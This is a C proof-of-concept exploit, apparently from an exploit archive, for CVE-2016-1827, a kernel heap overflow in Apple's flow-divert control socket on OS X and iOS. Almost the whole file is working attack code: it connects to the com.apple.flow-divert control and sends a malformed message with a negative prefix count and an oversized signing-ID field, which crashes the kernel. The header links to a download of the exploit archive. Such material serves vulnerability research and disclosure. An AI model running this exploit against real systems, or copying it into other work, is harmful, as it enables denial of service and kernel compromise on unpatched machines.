/*
* flow_divert-heap-overflow.c
* Brandon Azad
*
* CVE-2016-1827: Kernel heap overflow in the function flow_divert_handle_app_map_create on OS X
* and iOS. Exploitation requires root privileges. The vulnerability was patched in OS X El Capitan
* 10.11.5 and iOS 9.3.2.
*
* This proof-of-concept triggers a kernel panic on OS X Yosemite. In El Capitan the length fields
* were changed from 64 bits to 32 bits, so the message structure will need to be updated
* accordingly. This exploit has not been tested on iOS.
*
* Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44238.zip
*/
#include <net/if.h>
#include <string.h>
#include <sys/sys_domain.h>
#include <sys/kern_control.h>
#include <sys/ioctl.h>
#include <unistd.h>
int main() {
int ctlfd = socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL);
if (ctlfd == -1) {
return 1;
}
struct ctl_info info = { .ctl_id = 0 };
strncpy(info.ctl_name, "com.apple.flow-divert", sizeof(info.ctl_name));
int err = ioctl(ctlfd, CTLIOCGINFO, &info);
if (err) {
return 2;
}
struct sockaddr_ctl addr = {
.sc_len = sizeof(addr),
.sc_family = AF_SYSTEM,
.ss_sysaddr = AF_SYS_CONTROL,
};
addr.sc_id = info.ctl_id;
addr.sc_unit = 0;
err = connect(ctlfd, (struct sockaddr *)&addr, sizeof(addr));
if (err) {
return 3;
}
struct __attribute__((packed)) {
uint8_t type;
uint8_t pad1[3];
uint32_t conn_id;
uint8_t prefix_count_tag;
uint64_t prefix_count_length;
int prefix_count;
uint8_t signing_id_tag;
uint64_t signing_id_length;
uint8_t signing_id[512 + 4];
} message = {
.type = 9,
.conn_id = htonl(0),
.prefix_count_tag = 28,
.prefix_count_length = htonl(sizeof(int)),
.prefix_count = -2,
.signing_id_tag = 25,
.signing_id_length = htonl(sizeof(message.signing_id)),
.signing_id = { 0xaa },
};
write(ctlfd, &message, sizeof(message));
close(ctlfd);
return 4;
}